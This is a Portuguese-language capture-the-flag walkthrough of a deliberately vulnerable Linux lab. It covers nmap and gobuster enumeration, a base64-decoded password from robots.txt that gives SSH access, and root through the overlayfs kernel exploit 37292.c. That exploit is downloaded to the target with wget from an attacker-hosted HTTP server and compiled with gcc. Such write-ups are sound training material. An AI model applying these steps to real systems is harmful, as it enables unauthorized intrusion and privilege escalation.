English version available here

🐧- Linux

Sobre o laboratório

"Utilize técnicas de enumeração e enumeração web para identificar vulnerabilidades. Aplique estratégias de escalonamento de privilégios e explore métodos de exploração de kernel para elevar seu acesso. Este lab foi desenvolvido para tirar proveito das suas habilidades em exploração de vulnerabilidades."

Descrição do laboratóio

"Neste lab, os atacantes exploram credenciais fracas expostas através de uma aplicação web para obter acesso SSH ao sistema. Assim que o acesso inicial (foothold) é estabelecido, o escalonamento de privilégios local é alcançado explorando uma versão vulnerável do kernel Linux (3.13.0–32-generic) utilizando o exploit overlayfs. Este lab destaca a importância do gerenciamento seguro de senhas e de manter os sistemas atualizados para evitar exploits de kernel conhecidos."

None
Informações sobre o laboratório

Começando com o nmap e descoberta de portas abertas

Comando utilizado: nmap -p- -sS -sV — min-rate=10000 -vv -n -Pn <IP>

None
Resultado do scan nmap

Com o resultado do scan, notamos que existem duas portas abertas:

  • 22 SSH
  • 80 HTTP

Acessando o IP na página WEB

Ao acessar o IP do laboratório (http://192.168.X.X) nos deparamos com a seguinte página:

None
Página web do laboratório

Temos uma mensagem do criador da página nos incentivando a tentar algo a mais.

You should try something more!

Analisando o código-fone da página temos uma primeira pista. Em texto claro podemos ver uma mensagem deixada no fim:

username:itsskv

None
username:itsskv

Ainda com a mentalidade de "tentar algo a mais", precisamos encontrar diretórios na nossa página web alvo. Por isso podemos usar o gobuster para fazer esse trabalho para nós.

Comando utilizado: gobuster dir -u http://192.168.X.X -w /usr/share/wordlists/dirb/common.txt

None
Resultado do scan de diretórios web com gobuster

Em laranja temos cinco status code 403, que significa que o servidor reconhece que o arquivo existe, mas está configurado para não permitir que ninguém o acesse externamente. Por outro lado, e você deve ficar feliz com isso, temos cinco status code 200, que significa que o arquivo existe e que você tem permissão para ler. Esse deve ser o seu foco.

Os diretórios /hacker, /index e index.html não são muito úteis para nós porque apenas redirecionam para a página principal ou mostrarão o gif da página. O /robots e/ou /robots.txt é o que precisamos acessar para encontrar o algo a mais.

None
/robots ou /robots.txt

Nos deparamos com essa mensagem quando acessamos o /robots. Claramente ela está codificada e precisamos decodificar para que nos seja revelada a mensagem real. Existem muitas ferramentas que podem nos ajudar com isso. Eu frequentemente uso o terminal para decodificar um texto. Vou mostrar via terminal e em um site e você pode escolher a melhor maneira para você.

No terminal, digite: echo "Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=" | base64 -d

None
Decode via terminal

Ou no site cyberchef:

None
Decode via cyberchef

No cyberchef, basta você colar o texto no Input e no lado esquerdo, onde terão muitas opções, clique duas vezes em Magic e deixe a magia acontecer. O texto nos revelou a seguinte mensagem: cybersploit{youtube.com/c/cybersploit}

Agora podemos usar as credenciais que temos e tentar uma conexão ssh com o alvo.

Conexão SSH e Exploração

Credenciais obtidas

Username: itsskv

Senha: cybersploit{youtube.com/c/cybersploit}

None
Acesso obtido

Ta lá! Conseguimos o acesso.

None
Primeira flag obtida!

Escalação de privilégios

Com a primeira flag obtida. Agora precisamos escalar privilégios para nos tornarmos root e conseguir a flag proof.txt que é o objetivo final do laboratório. Como foi nos informado no início, a vulnerabilidade a ser explorada se chama overlayfs. Você pode encontrar ela na página Exploit-DB ou como eu prefiro fazer, via terminal através do searchsploit.

Exploit-DB

None
Exploit-DB

searchsploit

None
Searchsploit

Para continuar com nosso processo de escalar privilégios, será preciso baixar o arquivo para a sua máquina host, você pode fazer isso com o comando: searchsploit -m [Número do arquivo e extensão]

None
Exploit baixado no host

Lendo o que o arquivo baixado faz, podemos perceber como ele é executado e os passos que precisamos seguir para obter o root:

None
Funcionalidade do exploit

Agora muita atenção, se você está começando agora a explorar as máquinas e se aventurando em obter flags por aí, é muito importante que você entenda o porquê e como as coisas acontecem. O arquivo 37292.c está nesse momento no seu host, mas você precisa fazer com que a máquina do seu alvo execute ele. O que você faz para transferir o arquivo para ele?

Nesse momento você precisar criar um vetor de transferência de arquivos. No seu terminal, digite: python3 -m http.server 8080

python3 -m http.server: esse comando carrega o módulo de servidor HTTP do Python

8080: aqui você define a porta onde o servidor vai rodar (poderia ser 80, 443, 8000, etc.)

None
Tornando o seu host um servidor temporário

No terminal do alvo, você vai digitar: wget http://192.168.X.X:8080/37292.c. Lembre-se que o IP que você vai colocar ali é o IP do seu host porque é no seu host que o arquivo está hospedado.

None
Arquivo transferido para o alvo

Agora eu vou mostrar nas imagens abaixo o processo até o root. Eu basicamente segui o que dizia no exploit. É importante dizer que o Linux não executa o arquivo .c diretamente. Você precisa transformar ele em um arquivo binário executável. Por isso quando nós lemos antes o arquivo, vimos uma linha que continha gcc. O GCC (GNU Compiler Collection) é o compilar que vamos usar.

No seu terminal do alvo, digite: gcc 37292.c -o (escolha um nome)

None
Flag proof.txt obtida!

Espero ter ajudado você até aqui. Continue aprendendo, questionando e hackeando por aí!